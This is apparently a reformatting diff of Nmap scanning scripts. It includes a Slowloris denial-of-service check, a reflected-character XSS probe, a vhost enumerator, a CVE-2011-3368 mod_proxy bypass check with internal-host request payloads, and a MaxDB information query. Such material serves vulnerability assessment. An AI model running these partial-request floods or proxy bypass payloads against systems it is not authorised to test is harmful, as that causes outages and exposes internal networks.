-- if no response was received when determining SSL
|
-- if no response was received when determining SSL
|
||||||
if ( Bestopt == "none" ) then
|
if ( Bestopt == "none" ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local socket,status
|
local socket,status
|
||||||
local catch = function()
|
local catch = function()
|
||||||
-- note the time the socket timedout
|
-- note the time the socket timedout
|
||||||
TimeWith = nmap.clock()
|
TimeWith = nmap.clock()
|
||||||
stdnse.print_debug("2 try")
|
stdnse.print_debug("2 try")
|
||||||
end
|
end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
socket = nmap.new_socket()
|
socket = nmap.new_socket()
|
||||||
socket:set_timeout(500 * 1000)
|
socket:set_timeout(500 * 1000)
|
||||||
socket:connect(host.ip, port, Bestopt)
|
socket:connect(host.ip, port, Bestopt)
|
||||||
socket:send(HalfHTTP)
|
socket:send(HalfHTTP)
|
||||||
stdnse.sleep(10)
|
stdnse.sleep(10)
|
||||||
socket:send("X-a: b\r\n")
|
socket:send("X-a: b\r\n")
|
||||||
try(socket:receive())
|
try(socket:receive())
|
||||||
TimeWith = nmap.clock()
|
TimeWith = nmap.clock()
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
|
|
||||||
local slowloris = {
|
local slowloris = {
|
||||||
title = "Slowloris DOS attack",
|
title = "Slowloris DOS attack",
|
||||||
description = [[
|
description = [[
|
||||||
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
|
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
|
||||||
It accomplishes this by opening connections to the target web server and sending a partial request. By doing
|
It accomplishes this by opening connections to the target web server and sending a partial request. By doing
|
||||||
so, it starves the http server's resources causing Denial Of Service.
|
so, it starves the http server's resources causing Denial Of Service.
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://ha.ckers.org/slowloris/',
|
'http://ha.ckers.org/slowloris/',
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2009', month = '09', day = '17'},
|
disclosure = {year = '2009', month = '09', day = '17'},
|
||||||
},
|
},
|
||||||
exploit_results = {},
|
exploit_results = {},
|
||||||
}
|
}
|
||||||
|
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
slowloris.state = vulns.STATE.NOT_VULN
|
slowloris.state = vulns.STATE.NOT_VULN
|
||||||
|
|
||||||
local _
|
local _
|
||||||
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
|
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
|
||||||
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
|
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
|
||||||
"Host: " .. host.ip .. "\r\n" ..
|
"Host: " .. host.ip .. "\r\n" ..
|
||||||
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
|
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
|
||||||
"Content-Length: 42\r\n"
|
"Content-Length: 42\r\n"
|
||||||
-- both threads run at the same time
|
-- both threads run at the same time
|
||||||
local thread1 = stdnse.new_thread(slowThread1, host, port)
|
local thread1 = stdnse.new_thread(slowThread1, host, port)
|
||||||
local thread2 = stdnse.new_thread(slowThread2, host, port)
|
local thread2 = stdnse.new_thread(slowThread2, host, port)
|
||||||
while true do -- wait for both threads to die
|
while true do -- wait for both threads to die
|
||||||
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
|
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
stdnse.sleep(1)
|
stdnse.sleep(1)
|
||||||
end
|
end
|
||||||
-- compare times
|
-- compare times
|
||||||
if ( not(TimeWith) or not(TimeWithout) ) then
|
if ( not(TimeWith) or not(TimeWithout) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
local diff = TimeWith - TimeWithout
|
local diff = TimeWith - TimeWithout
|
||||||
stdnse.print_debug("Time difference is: %d",diff)
|
stdnse.print_debug("Time difference is: %d",diff)
|
||||||
-- if second connection died 10 or more seconds after the first
|
-- if second connection died 10 or more seconds after the first
|
||||||
-- it means that sending additional data prolonged the connection's time
|
-- it means that sending additional data prolonged the connection's time
|
||||||
-- and the server is vulnerable to slowloris attack
|
-- and the server is vulnerable to slowloris attack
|
||||||
if diff >= 10 then
|
if diff >= 10 then
|
||||||
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
|
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
|
||||||
slowloris.state = vulns.STATE.VULN
|
slowloris.state = vulns.STATE.VULN
|
||||||
end
|
end
|
||||||
return report:make_output(slowloris)
|
return report:make_output(slowloris)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,117 +47,117 @@ categories = {"discovery", "intrusive"}
|
|||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
local function dbg(str,...)
|
local function dbg(str,...)
|
||||||
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
|
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
|
||||||
end
|
end
|
||||||
|
|
||||||
local function getHostPort(parsed)
|
local function getHostPort(parsed)
|
||||||
local host, port = parsed.host, parsed.port
|
local host, port = parsed.host, parsed.port
|
||||||
-- if no port was found, try to deduce it from the scheme
|
-- if no port was found, try to deduce it from the scheme
|
||||||
if ( not(port) ) then
|
if ( not(port) ) then
|
||||||
port = (parsed.scheme == 'https') and 443
|
port = (parsed.scheme == 'https') and 443
|
||||||
port = port or ((parsed.scheme == 'http') and 80)
|
port = port or ((parsed.scheme == 'http') and 80)
|
||||||
end
|
end
|
||||||
return host, port
|
return host, port
|
||||||
end
|
end
|
||||||
local function getReflected(parsed, r)
|
local function getReflected(parsed, r)
|
||||||
local reflected_values,not_reflected_values = {},{}
|
local reflected_values,not_reflected_values = {},{}
|
||||||
local count = 0
|
local count = 0
|
||||||
-- Now, we need to check the parameters and keys
|
-- Now, we need to check the parameters and keys
|
||||||
local q = url.parse_query(parsed.query)
|
local q = url.parse_query(parsed.query)
|
||||||
-- Check the values (and keys) and see if they are reflected in the page
|
-- Check the values (and keys) and see if they are reflected in the page
|
||||||
for k,v in pairs(q) do
|
for k,v in pairs(q) do
|
||||||
if r.response.body and r.response.body:find(v, 1, true) then
|
if r.response.body and r.response.body:find(v, 1, true) then
|
||||||
dbg("Reflected content %s=%s", k,v)
|
dbg("Reflected content %s=%s", k,v)
|
||||||
reflected_values[k] = v
|
reflected_values[k] = v
|
||||||
count = count +1
|
count = count +1
|
||||||
else
|
else
|
||||||
not_reflected_values[k] = v
|
not_reflected_values[k] = v
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if count > 0 then
|
if count > 0 then
|
||||||
return reflected_values,not_reflected_values,q
|
return reflected_values,not_reflected_values,q
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function addPayload(v)
|
local function addPayload(v)
|
||||||
return v.."ghz%3Ehzx%22zxc%27xcv"
|
return v.."ghz%3Ehzx%22zxc%27xcv"
|
||||||
end
|
end
|
||||||
|
|
||||||
local function createMinedLinks(reflected_values, all_values)
|
local function createMinedLinks(reflected_values, all_values)
|
||||||
local new_links = {}
|
local new_links = {}
|
||||||
for k,v in pairs(reflected_values) do
|
for k,v in pairs(reflected_values) do
|
||||||
-- First of all, add the payload to the reflected param
|
-- First of all, add the payload to the reflected param
|
||||||
local urlParams = { [k] = addPayload(v)}
|
local urlParams = { [k] = addPayload(v)}
|
||||||
for k2,v2 in pairs(all_values) do
|
for k2,v2 in pairs(all_values) do
|
||||||
if k2 ~= k then
|
if k2 ~= k then
|
||||||
urlParams[k2] = v2
|
urlParams[k2] = v2
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
new_links[k] = url.build_query(urlParams)
|
new_links[k] = url.build_query(urlParams)
|
||||||
end
|
end
|
||||||
return new_links
|
return new_links
|
||||||
end
|
end
|
||||||
|
|
||||||
local function locatePayloads(response)
|
local function locatePayloads(response)
|
||||||
local results = {}
|
local results = {}
|
||||||
if response.body:find("ghz>hzx") then table.insert(results,">") end
|
if response.body:find("ghz>hzx") then table.insert(results,">") end
|
||||||
if response.body:find('hzx"zxc') then table.insert(results,'"') end
|
if response.body:find('hzx"zxc') then table.insert(results,'"') end
|
||||||
if response.body:find("zxc'xcv") then table.insert(results,"'") end
|
if response.body:find("zxc'xcv") then table.insert(results,"'") end
|
||||||
return #results > 0 and results
|
return #results > 0 and results
|
||||||
end
|
end
|
||||||
|
|
||||||
local function visitLinks(host, port,parsed,new_links, results,original_url)
|
local function visitLinks(host, port,parsed,new_links, results,original_url)
|
||||||
for k,query in pairs(new_links) do
|
for k,query in pairs(new_links) do
|
||||||
local ppath = url.parse_path(parsed.path or "")
|
local ppath = url.parse_path(parsed.path or "")
|
||||||
local url = url.build_path(ppath)
|
local url = url.build_path(ppath)
|
||||||
if parsed.params then url = url .. ";" .. parsed.params end
|
if parsed.params then url = url .. ";" .. parsed.params end
|
||||||
url = url .. "?" .. query
|
url = url .. "?" .. query
|
||||||
dbg("Url to visit: %s", url)
|
dbg("Url to visit: %s", url)
|
||||||
local response = http.get(host, port, url)
|
local response = http.get(host, port, url)
|
||||||
local result = locatePayloads(response)
|
local result = locatePayloads(response)
|
||||||
if result then
|
if result then
|
||||||
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
|
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
|
||||||
crawler:set_timeout(10000)
|
crawler:set_timeout(10000)
|
||||||
|
|
||||||
local results = {}
|
local results = {}
|
||||||
while(true) do
|
while(true) do
|
||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
-- if the crawler fails it can be due to a number of different reasons
|
-- if the crawler fails it can be due to a number of different reasons
|
||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- parse the returned url
|
-- parse the returned url
|
||||||
local parsed = url.parse(tostring(r.url))
|
local parsed = url.parse(tostring(r.url))
|
||||||
-- We are only interested in links which have parameters
|
-- We are only interested in links which have parameters
|
||||||
if parsed.query and #parsed.query > 0 then
|
if parsed.query and #parsed.query > 0 then
|
||||||
local host, port = getHostPort(parsed)
|
local host, port = getHostPort(parsed)
|
||||||
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
|
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
|
||||||
|
|
||||||
|
|
||||||
-- Now,were any reflected ?
|
-- Now,were any reflected ?
|
||||||
if reflected_values then
|
if reflected_values then
|
||||||
-- Ok, create new links with payloads in the reflected slots
|
-- Ok, create new links with payloads in the reflected slots
|
||||||
local new_links = createMinedLinks(reflected_values, all_values)
|
local new_links = createMinedLinks(reflected_values, all_values)
|
||||||
|
|
||||||
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
|
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
|
||||||
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
|
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( #results> 0 ) then
|
if ( #results> 0 ) then
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -120,7 +120,7 @@ local testThread = function(result, host, port, name)
|
|||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
local targetname = makeTargetName(name , arg_domain)
|
local targetname = makeTargetName(name , arg_domain)
|
||||||
if targetname ~= nil then
|
if targetname ~= nil then
|
||||||
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
|
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
|
||||||
|
|
||||||
if not http_response.status then
|
if not http_response.status then
|
||||||
result["ERROR"] = result["ERROR"] or {}
|
result["ERROR"] = result["ERROR"] or {}
|
||||||
|
|||||||
@@ -54,108 +54,108 @@ portrule = shortport.http
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local vuln = {
|
local vuln = {
|
||||||
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
|
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
|
||||||
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
|
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
|
||||||
description = [[
|
description = [[
|
||||||
An exposure was reported affecting the use of Apache HTTP Server in
|
An exposure was reported affecting the use of Apache HTTP Server in
|
||||||
reverse proxy mode. The exposure could inadvertently expose internal
|
reverse proxy mode. The exposure could inadvertently expose internal
|
||||||
servers to remote users who send carefully crafted requests.]],
|
servers to remote users who send carefully crafted requests.]],
|
||||||
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
|
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = { year='2011', month='10', day='05'}
|
disclosure = { year='2011', month='10', day='05'}
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
|
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
|
||||||
|
|
||||||
-- Take a reference chrono for a 404
|
-- Take a reference chrono for a 404
|
||||||
local start = os.time(os.date('*t'))
|
local start = os.time(os.date('*t'))
|
||||||
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
|
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
|
||||||
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
|
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
|
||||||
local chrono_404 = os.time(os.date('*t'))-start
|
local chrono_404 = os.time(os.date('*t'))-start
|
||||||
|
|
||||||
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
|
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
|
||||||
local all
|
local all
|
||||||
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
|
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
|
||||||
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
|
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
|
||||||
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
|
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
|
||||||
|
|
||||||
local bypass_request = http.pipeline_go(host,port, all)
|
local bypass_request = http.pipeline_go(host,port, all)
|
||||||
if ( not(bypass_request) ) then
|
if ( not(bypass_request) ) then
|
||||||
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
|
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
|
||||||
return "\n ERROR: Got no answers from pipelined queries"
|
return "\n ERROR: Got no answers from pipelined queries"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- going through the results of TEST 1 we could see
|
-- going through the results of TEST 1 we could see
|
||||||
-- * 200 OK
|
-- * 200 OK
|
||||||
-- o This could be the result of the server being vulnerable
|
-- o This could be the result of the server being vulnerable
|
||||||
-- o This could also be the result of a generic error page
|
-- o This could also be the result of a generic error page
|
||||||
-- * 40X Error
|
-- * 40X Error
|
||||||
-- o This is most likely the result of the server NOT being vulnerable
|
-- o This is most likely the result of the server NOT being vulnerable
|
||||||
--
|
--
|
||||||
-- We can not determine whether the server is vulnerable or not solely
|
-- We can not determine whether the server is vulnerable or not solely
|
||||||
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
|
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
|
||||||
local got_200_ok
|
local got_200_ok
|
||||||
for _, response in ipairs(bypass_request) do
|
for _, response in ipairs(bypass_request) do
|
||||||
if ( response.status == 200 ) then
|
if ( response.status == 200 ) then
|
||||||
got_200_ok = true
|
got_200_ok = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
|
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
|
||||||
if ( not(got_200_ok) ) then
|
if ( not(got_200_ok) ) then
|
||||||
vuln.state = vulns.STATE.NOT_VULN
|
vuln.state = vulns.STATE.NOT_VULN
|
||||||
return report:make_output(vuln)
|
return report:make_output(vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
for i=1, #bypass_request, 1 do
|
for i=1, #bypass_request, 1 do
|
||||||
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
|
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
|
||||||
|
|
||||||
-- here a 400 should be the evidence for a patched server.
|
-- here a 400 should be the evidence for a patched server.
|
||||||
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
|
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
|
||||||
|
|
||||||
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
|
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
|
||||||
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
|
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
|
||||||
local tests = {
|
local tests = {
|
||||||
{ prefix = "", suffix = "" },
|
{ prefix = "", suffix = "" },
|
||||||
{ prefix = ":", suffix = ""},
|
{ prefix = ":", suffix = ""},
|
||||||
{ prefix = ":", suffix = ":80"}
|
{ prefix = ":", suffix = ":80"}
|
||||||
}
|
}
|
||||||
|
|
||||||
-- try a bunch of hosts, and hope we hit one thats
|
-- try a bunch of hosts, and hope we hit one thats
|
||||||
-- not on the network, this will give us the delay we're expecting
|
-- not on the network, this will give us the delay we're expecting
|
||||||
local hosts = {
|
local hosts = {
|
||||||
"10.10.10.10",
|
"10.10.10.10",
|
||||||
"192.168.211.211",
|
"192.168.211.211",
|
||||||
"172.16.16.16"
|
"172.16.16.16"
|
||||||
}
|
}
|
||||||
|
|
||||||
-- perform one request for each host, and stop once we
|
-- perform one request for each host, and stop once we
|
||||||
-- receive a timeout for one of them
|
-- receive a timeout for one of them
|
||||||
for _, h in ipairs(hosts) do
|
for _, h in ipairs(hosts) do
|
||||||
local response = http.get(
|
local response = http.get(
|
||||||
host,
|
host,
|
||||||
port,
|
port,
|
||||||
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
|
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
|
||||||
{ timeout = ( chrono_404 + 5 ) * 1000 }
|
{ timeout = ( chrono_404 + 5 ) * 1000 }
|
||||||
)
|
)
|
||||||
-- check if the GET timed out
|
-- check if the GET timed out
|
||||||
if ( not(response.status) ) then
|
if ( not(response.status) ) then
|
||||||
vuln.state = vulns.STATE.VULN
|
vuln.state = vulns.STATE.VULN
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
|
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
|
||||||
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
|
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
|
||||||
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
|
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
|
||||||
vuln.extra_info = "Proxy allows requests to external websites"
|
vuln.extra_info = "Proxy allows requests to external websites"
|
||||||
end
|
end
|
||||||
return report:make_output(vuln)
|
return report:make_output(vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -43,31 +43,31 @@ portrule = shortport.port_or_service(7210, "maxdb", "tcp")
|
|||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return data string containing the raw response from the server
|
-- @return data string containing the raw response from the server
|
||||||
local function exchPacket(socket, packet)
|
local function exchPacket(socket, packet)
|
||||||
local status, err = socket:send(packet)
|
local status, err = socket:send(packet)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "Failed to send packet to server")
|
stdnse.print_debug(2, "Failed to send packet to server")
|
||||||
return false, "Failed to send packet to server"
|
return false, "Failed to send packet to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local data
|
local data
|
||||||
status, data= socket:receive()
|
status, data= socket:receive()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "Failed to read packet from server")
|
stdnse.print_debug(2, "Failed to read packet from server")
|
||||||
return false, "Failed to read packet from server"
|
return false, "Failed to read packet from server"
|
||||||
end
|
end
|
||||||
local pos, len = bin.unpack("<S", data)
|
local pos, len = bin.unpack("<S", data)
|
||||||
|
|
||||||
-- make sure we've got it all
|
-- make sure we've got it all
|
||||||
if ( len ~= #data ) then
|
if ( len ~= #data ) then
|
||||||
local tmp
|
local tmp
|
||||||
status, tmp = socket:receive_bytes(len - #data)
|
status, tmp = socket:receive_bytes(len - #data)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "Failed to read packet from server")
|
stdnse.print_debug(2, "Failed to read packet from server")
|
||||||
return false, "Failed to read packet from server"
|
return false, "Failed to read packet from server"
|
||||||
end
|
end
|
||||||
data = data .. tmp
|
data = data .. tmp
|
||||||
end
|
end
|
||||||
return true, data
|
return true, data
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Sends and receives a MaxDB command and does some very basic checks of the
|
-- Sends and receives a MaxDB command and does some very basic checks of the
|
||||||
@@ -77,16 +77,16 @@ end
|
|||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return data string containing the raw response from the server
|
-- @return data string containing the raw response from the server
|
||||||
local function exchCommand(socket, packet)
|
local function exchCommand(socket, packet)
|
||||||
local status, data = exchPacket(socket, packet)
|
local status, data = exchPacket(socket, packet)
|
||||||
if( status ) then
|
if( status ) then
|
||||||
if ( #data < 26 ) then
|
if ( #data < 26 ) then
|
||||||
return false, "Response to short"
|
return false, "Response to short"
|
||||||
end
|
end
|
||||||
if ( "OK" ~= data:sub(25, 26) ) then
|
if ( "OK" ~= data:sub(25, 26) ) then
|
||||||
return false, "Incorrect response from server (no OK found)"
|
return false, "Incorrect response from server (no OK found)"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return status, data
|
return status, data
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parses and decodes the raw version response from the server
|
-- Parses and decodes the raw version response from the server
|
||||||
@@ -99,78 +99,78 @@ end
|
|||||||
-- <code>SYSNAME</code>, <code>MASKING</code>,
|
-- <code>SYSNAME</code>, <code>MASKING</code>,
|
||||||
-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
|
-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
|
||||||
local function parseVersion(data)
|
local function parseVersion(data)
|
||||||
local version_info = {}
|
local version_info = {}
|
||||||
if ( #data > 27 ) then
|
if ( #data > 27 ) then
|
||||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||||
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
|
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
|
||||||
if ( key ) then version_info[key] = val end
|
if ( key ) then version_info[key] = val end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return version_info
|
return version_info
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parses and decodes the raw database response from the server
|
-- Parses and decodes the raw database response from the server
|
||||||
-- @param data string containing the raw response
|
-- @param data string containing the raw response
|
||||||
-- @return result string containing a table of database instance information
|
-- @return result string containing a table of database instance information
|
||||||
local function parseDatabases(data)
|
local function parseDatabases(data)
|
||||||
local result = tab.new(5)
|
local result = tab.new(5)
|
||||||
tab.addrow(result, "instance", "path", "version", "kernel", "state")
|
tab.addrow(result, "instance", "path", "version", "kernel", "state")
|
||||||
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
|
||||||
local cols = {}
|
local cols = {}
|
||||||
cols.instance, cols.path, cols.ver, cols.kernel,
|
cols.instance, cols.path, cols.ver, cols.kernel,
|
||||||
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
|
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
|
||||||
if ( cols.instance ) then
|
if ( cols.instance ) then
|
||||||
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
|
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return tab.dump(result)
|
return tab.dump(result)
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- this could really be more elegant, but it has to do for now
|
-- this could really be more elegant, but it has to do for now
|
||||||
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
|
||||||
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
|
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
|
||||||
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
|
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
local status, err = socket:connect(host, port)
|
local status, err = socket:connect(host, port)
|
||||||
local data
|
local data
|
||||||
|
|
||||||
status, data = exchPacket(socket, bin.pack("H", handshake))
|
status, data = exchPacket(socket, bin.pack("H", handshake))
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to perform handshake with MaxDB server"
|
return "\n ERROR: Failed to perform handshake with MaxDB server"
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
status, data = exchPacket(socket, bin.pack("H", dbm_version))
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to request version information from server"
|
return "\n ERROR: Failed to request version information from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local version_info = parseVersion(data)
|
local version_info = parseVersion(data)
|
||||||
if ( not(version_info) ) then
|
if ( not(version_info) ) then
|
||||||
return "\n ERROR: Failed to parse version information from server"
|
return "\n ERROR: Failed to parse version information from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
|
||||||
for _, f in ipairs(filter) do
|
for _, f in ipairs(filter) do
|
||||||
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
|
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
status, data = exchCommand(socket, bin.pack("H", db_enum))
|
||||||
socket:close()
|
socket:close()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "\n ERROR: Failed to request version information from server"
|
return "\n ERROR: Failed to request version information from server"
|
||||||
end
|
end
|
||||||
local dbs = parseDatabases(data)
|
local dbs = parseDatabases(data)
|
||||||
table.insert(result, { name = "Databases", dbs } )
|
table.insert(result, { name = "Databases", dbs } )
|
||||||
|
|
||||||
-- set the version information
|
-- set the version information
|
||||||
port.version.name = "maxdb"
|
port.version.name = "maxdb"
|
||||||
port.version.product = "SAP MaxDB"
|
port.version.product = "SAP MaxDB"
